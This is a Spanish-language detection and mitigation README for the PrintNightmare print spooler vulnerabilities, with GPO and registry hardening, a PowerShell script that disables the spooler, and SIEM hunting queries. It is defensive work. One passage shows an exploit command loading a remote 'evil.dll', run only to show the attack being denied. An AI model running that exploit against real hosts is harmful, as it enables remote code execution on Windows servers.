
CVE-2021-1675 Información de detección
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Este repositorio contiene una muestra EVTX del ataque CVE-2021-1675 y CVE-2021-34527, así como un archivo de configuración mínimo de Sysmon que puede utilizarse para generar la telemetría relevante.
Tenga en cuenta que estas reglas pueden ser eludidas; aplique los parches correspondientes y desactive el servicio de cola de impresión en los controladores de dominio.
Pruebe todas las correcciones recomendadas antes de implementarlas en producción, ya que estos cambios de endurecimiento pueden tener consecuencias no deseadas. Hemos redactado una publicación en el blog explicando el contenido de este repositorio y la información encontrada. Aquí: https://labs.lares.com/detection-and-mitigation-printnightmare/
Gracias a Benjamin Delpy, hay un diagrama de flujo actualizado sobre la explotabilidad de este problema para determinar si sus sistemas son probablemente vulnerables.

Security Settings -> System Services -> Print Spooler -> Disable
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections -> Disable
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1El parche publicado por Microsoft en junio de 2021 sí corrige CVE-2021-1675, pero lamentablemente no soluciona el problema conocido como PrintNightmare (CVE-2021-34527). Por lo tanto, se puede aplicar una solución alternativa desactivando el servicio de cola de impresión. A continuación se explica cómo hacerlo tanto en GPO como en PowerShell. Se ha confirmado que el GPO corrige tanto la función MS-RPRN RpcAddPrinterDriverEx como la función Win32 AddPrinterDriverEx que utiliza SharpPrintNightmare.
El siguiente GPO se puede configurar para denegar las conexiones de clientes al spooler, lo que es una posible solución alternativa cuando desactivar completamente el servicio de cola de impresión no es una opción. Se ha probado contra controladores de dominio y endpoints (W7/W10) en un entorno de laboratorio y los usuarios aún pueden agregar/eliminar impresoras e imprimir, pero detiene la explotación. Nota: También se entiende que este GPO corrige CVE-2021-34527 según lo indicado en la página de vulnerabilidad de Microsoft.
Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections
establecer en Deshabilitado:

Luego reinicie el servicio de cola de impresión en el host afectado. Si todo va bien, el exploit tendrá acceso denegado:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Otra corrección/solución alternativa es eliminar los usuarios autenticados del grupo Pre-Windows 2000 Compatible Access, según lo descubierto por Dirk-jan.

Asegúrese de que los grupos "Usuarios autenticados" no sean miembros del grupo "Acceso compatible con Pre-Windows 2000". (Por defecto, estos grupos no están incluidos en las versiones actuales de Windows.) como se muestra en la captura de pantalla siguiente, no debe haber miembros:

Si tiene dudas sobre cómo hacerlo, se pueden seguir los siguientes pasos:
Adaptado el script de 0gtweet para usar ADDomainController y obtener todos los DC del dominio
# el script DETIENE y DESHABILITA el servicio de Cola de impresión (aka #PrintNightmare) en cada servidor de la lista siguiente SOLO SI SOLO EXISTEN IMPRESORAS PREDETERMINADAS.
# revertir si es necesario: vaya a services.msc, busque el servicio "print spooler", cambie el tipo de inicio a "automático" e inicie el servicio.
# Fuente: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requisitos RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}
El archivo de configuración de Sysmon proporcionado CVE-2021-1675.xml se puede instalar con Sysmon Config Pusher: https://github.com/LaresLLC/SysmonConfigPusher
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)
Una forma genérica de cazar la explotación de Print Spooler es buscar errores generados por el spooler debido a la carga del DLL de carga útil. Esto se puede hacer buscando la creación de WerFault.exe por spoolsv.exe o la generación del ID de evento 7031 que muestra la terminación inesperada del servicio de cola de impresión.
((index=sysmon EventCode=1
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe")
OR (index=windows Channel=System EventCode=7031
Message="The Print Spooler service terminated unexpectedly"))
Después de varias pruebas de explotación de la implementación de cube0x0, se encontró un artefacto adicional: ID de evento 5145 con Share Name: \\*\IPC$ y Relative Target Name: spoolss. Las ventajas de este enfoque son que se puede ver la IP de origen (Source Address) y la cuenta (Security ID o Account Name) utilizadas para realizar el ataque. Puede haber falsos positivos de servidores de impresión reales, pero se pueden filtrar por nombre de host y Access Mask. Puede haber otros falsos positivos que se pueden filtrar mediante la combinación de hostname-username-access mask.
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000)
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"
Fuente: https://twitter.com/olafhartong/status/1410229699993874442




Fuente: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md
filemod_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old\\1\\123
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND parent_cmdline:spoolsv\.exe
(modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3* OR modload_name:c\:\\windows\\system32\\spool\\drivers\\x64\\3\\old*) AND process_name:spoolsv\.exe
process_name:spoolsv\.exe AND NOT filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED
process_name:spoolsv\.exe AND filemod_publisher_state:FILE_SIGNATURE_STATE_SIGNED AND NOT filemod_publisher:"Microsoft Windows*"
Publicaciones en Twitter que hacen referencia a ataques y consultas de caza
Observaciones del controlador de dominio versus no controlador de dominio por Benjamin Delpy:
Diagrama de flujo muy útil por Stan Hegt de Outflank
Nueva asignación de CVE de Microsoft:
Diario SANS ICS: